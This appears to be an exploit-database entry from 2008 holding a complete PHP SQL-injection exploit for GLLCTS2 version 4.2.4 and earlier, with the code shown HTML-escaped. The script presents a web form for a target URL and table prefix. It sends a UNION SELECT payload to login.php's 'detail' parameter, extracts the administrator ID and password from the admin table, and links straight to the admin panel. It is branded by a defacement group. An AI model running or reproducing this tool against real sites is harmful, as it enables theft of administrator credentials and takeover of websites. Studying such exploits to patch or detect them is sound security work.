GLLCTS2 <= 4.2.4 (login.php detail) SQL Injection Exploit

🗓️ 14 Jun 2008 00:00:00Reported by RootType
PHP code for GLLCTS2 v4.2.4 SQL Injection Exploit including admin ID and password grabbing from login.php detail

                                                &lt;?php
set_time_limit(0);
ignore_user_abort(0);

function&nbsp;add_html_space($count){

$out2&nbsp;=&nbsp;str_repeat(&quot;&amp;nbsp;&quot;,$count);

return&nbsp;$out2;
}

function&nbsp;write_content($title,$desc,$content){
	
$out&nbsp;=&nbsp;&quot;&lt;div&nbsp;class='content'&gt;&lt;div&nbsp;class='item'&gt;&lt;h1&gt;$title&lt;/h1&gt;&lt;div&nbsp;class='descr'&gt;$desc&lt;/div&gt;&lt;br&gt;&lt;p&gt;$content&lt;/p&gt;&lt;/div&gt;&quot;;

return&nbsp;$out;
}

$title&nbsp;=&nbsp;&quot;GLLCTS2&nbsp;=&gt;&nbsp;v4.2.4&quot;.&nbsp;add_html_space(1)&nbsp;.&quot;&nbsp;SQL&nbsp;Injection&nbsp;Exploit&quot;;
$header['banner']&nbsp;=&nbsp;&quot;TD's&nbsp;ESystem&quot;;
$header['main']&nbsp;=&nbsp;&quot;TD's&nbsp;Exploit&nbsp;System&quot;;

$menu['title']&nbsp;=&nbsp;&quot;Exploit&nbsp;System&quot;;

$menu['title1']&nbsp;=&nbsp;&quot;Esystem&nbsp;Home&quot;;
$menu['link1']&nbsp;=&nbsp;&quot;?&quot;;



$menu&nbsp;=&nbsp;&quot;&lt;div&nbsp;class=\&quot;sidenav\&quot;&gt;&lt;h1&gt;&quot;.$menu['title'].&quot;&lt;/h1&gt;&lt;ul&gt;&lt;li&gt;&lt;a&nbsp;href='&quot;.$menu['link1'].&quot;'&gt;&quot;.$menu['title1'].&quot;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h1&gt;Links&nbsp;To&nbsp;TD&lt;/h1&gt;&lt;ul&gt;&lt;li&gt;&lt;a&nbsp;href=\&quot;http://www.thedefaced.org\&quot;&gt;Go&nbsp;To&nbsp;TheDefaced&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a&nbsp;href=\&quot;http://www.thedefaced.org/forums/\&quot;&gt;Go&nbsp;To&nbsp;TheDefaced&nbsp;Forums&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&quot;;
$copyright&nbsp;=&nbsp;&quot;&lt;/div&gt;&lt;div&nbsp;class=\&quot;clearer\&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;&lt;div&nbsp;class=\&quot;footer\&quot;&gt;&amp;copy;&nbsp;2004&nbsp;-&nbsp;2008&nbsp;&lt;a&nbsp;href=\&quot;?\&quot;&gt;The&amp;nbsp;Defaced&nbsp;Security&nbsp;Team.&lt;/a&gt;&lt;br&gt;&amp;copy;&nbsp;2008&nbsp;$title&nbsp;By&nbsp;TheDefaced.org&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/body&gt;&lt;/html&gt;&quot;;
$style&nbsp;=&nbsp;&quot;&lt;html&gt;&lt;head&gt;&lt;link&nbsp;rel=\&quot;stylesheet\&quot;&nbsp;type=\&quot;text/css\&quot;&nbsp;href=\&quot;http://thedefaced.org/default_orig.css\&quot;&nbsp;media=\&quot;screen\&quot;/&gt;&lt;title&gt;$title&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;div&nbsp;id=\&quot;thedefaced\&quot;&gt;&lt;div&nbsp;class=\&quot;container\&quot;&gt;&lt;span&gt;&lt;div&nbsp;class=\&quot;main\&quot;&gt;&lt;div&nbsp;class=\&quot;header\&quot;&gt;&lt;div&nbsp;class=\&quot;title\&quot;&gt;&lt;font&nbsp;size=\&quot;0.1\&quot;&gt;&lt;a&nbsp;href=\&quot;http://www.thedefaced.org\&quot;&gt;$header[banner]&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/TABLE&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;&lt;/div&gt;&lt;div&nbsp;class=\&quot;footer\&quot;&gt;&lt;b&gt;$header[main]&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;$menu&quot;;

echo&nbsp;$style;

switch($_GET['page']){

default:

If($_POST['inj']&nbsp;==&nbsp;'run'){
	
echo&quot;&lt;div&nbsp;class='content'&gt;&quot;;
echo&quot;&lt;div&nbsp;class='item'&gt;&lt;h1&gt;TD's&nbsp;Exploit&nbsp;System&lt;/h1&gt;&quot;;
echo&quot;&lt;div&nbsp;class='descr'&gt;Grabing&nbsp;Admin&nbsp;ID&nbsp;and&nbsp;Password&nbsp;via&nbsp;GLLC&nbsp;SQL&nbsp;injection.&lt;/div&gt;&quot;;
echo&quot;&lt;br&gt;&lt;p&gt;&quot;;

$url&nbsp;=&nbsp;$_POST['url'];
$prefix&nbsp;=&nbsp;$_POST['prefix'];

$buf&nbsp;=&nbsp;file_get_contents($url.&quot;/login.php?detail='%20union%20select%20all%201,2,3,4,5,6,7,8,9,10,11,concat(CHAR(124),CHAR(65,%2068,%2077,%2073,%2078,%2073,%2068,%2058),admin_id,CHAR(124),CHAR(80,%2065,%2083,%2083,%2058),admin_pass,CHAR(124)),13,14,15,16,17,18,19,20,21,22,23%20from%20&quot;.$prefix.&quot;_admin/*&quot;);
$arr&nbsp;=&nbsp;explode(&quot;|&quot;,$buf);
foreach($arr&nbsp;as&nbsp;$line){
if(eregi(&quot;ADMINID:&quot;,&nbsp;$line))
If($line&nbsp;!=$adminid){
$adminid&nbsp;=&nbsp;$line;
echo&nbsp;$adminid.&quot;&lt;br&gt;&quot;;
}
if(eregi(&quot;PASS:&quot;,$line))
If($pass&nbsp;==&nbsp;&quot;&quot;){
$pass&nbsp;=&nbsp;$line;
$pass_parsed&nbsp;=&nbsp;str_replace(&quot;PASS:&quot;,&quot;&quot;,$pass);
echo&nbsp;$pass.&quot;&lt;br&gt;&lt;br&gt;&quot;;
echo&nbsp;&quot;&lt;a&nbsp;href='$url/admin/index.php?pass=$pass_parsed'&gt;Login&lt;/a&gt;&quot;;
}
}

echo&quot;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;/div&gt;&quot;;
echo&nbsp;$copyright;	
}else{
echo&nbsp;write_content(&quot;Welcome&nbsp;to&nbsp;TD's&nbsp;Exploit&nbsp;System&quot;,&quot;SQL&nbsp;injection&nbsp;exploit&nbsp;in&nbsp;GLLCTS2&quot;,&quot;&lt;form&nbsp;method='post'&nbsp;action='?'&gt;&lt;center&gt;&lt;input&nbsp;type='hidden'&nbsp;name='inj'&nbsp;value='run'&gt;GLLCTS2&nbsp;URL(No&nbsp;Trailing&nbsp;\&quot;/\&quot;&nbsp;&amp;&nbsp;Include&nbsp;\&quot;http://\&quot;):&lt;br&gt;&lt;input&nbsp;type='text'&nbsp;size='25'&nbsp;name='url'&gt;&lt;br&gt;&lt;br&gt;Table&nbsp;Prefix:&lt;br&gt;&quot;.&nbsp;add_html_space(1)&nbsp;.&quot;&lt;input&nbsp;type='text'&nbsp;size='20'&nbsp;name='prefix'&nbsp;value='gllcts2'&gt;&lt;br&gt;&lt;br&gt;&lt;input&nbsp;type='submit'&nbsp;value='Get&nbsp;Admin&nbsp;Info'&gt;&lt;/form&gt;&quot;);
echo&nbsp;$copyright;
}
break;
}
?&gt;
14 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1
GLLCTS2 &lt;= 4.2.4 (login.php detail) SQL Injection Exploit

GLLCTS2 <= 4.2.4 (login.php detail) SQL Injection Exploit
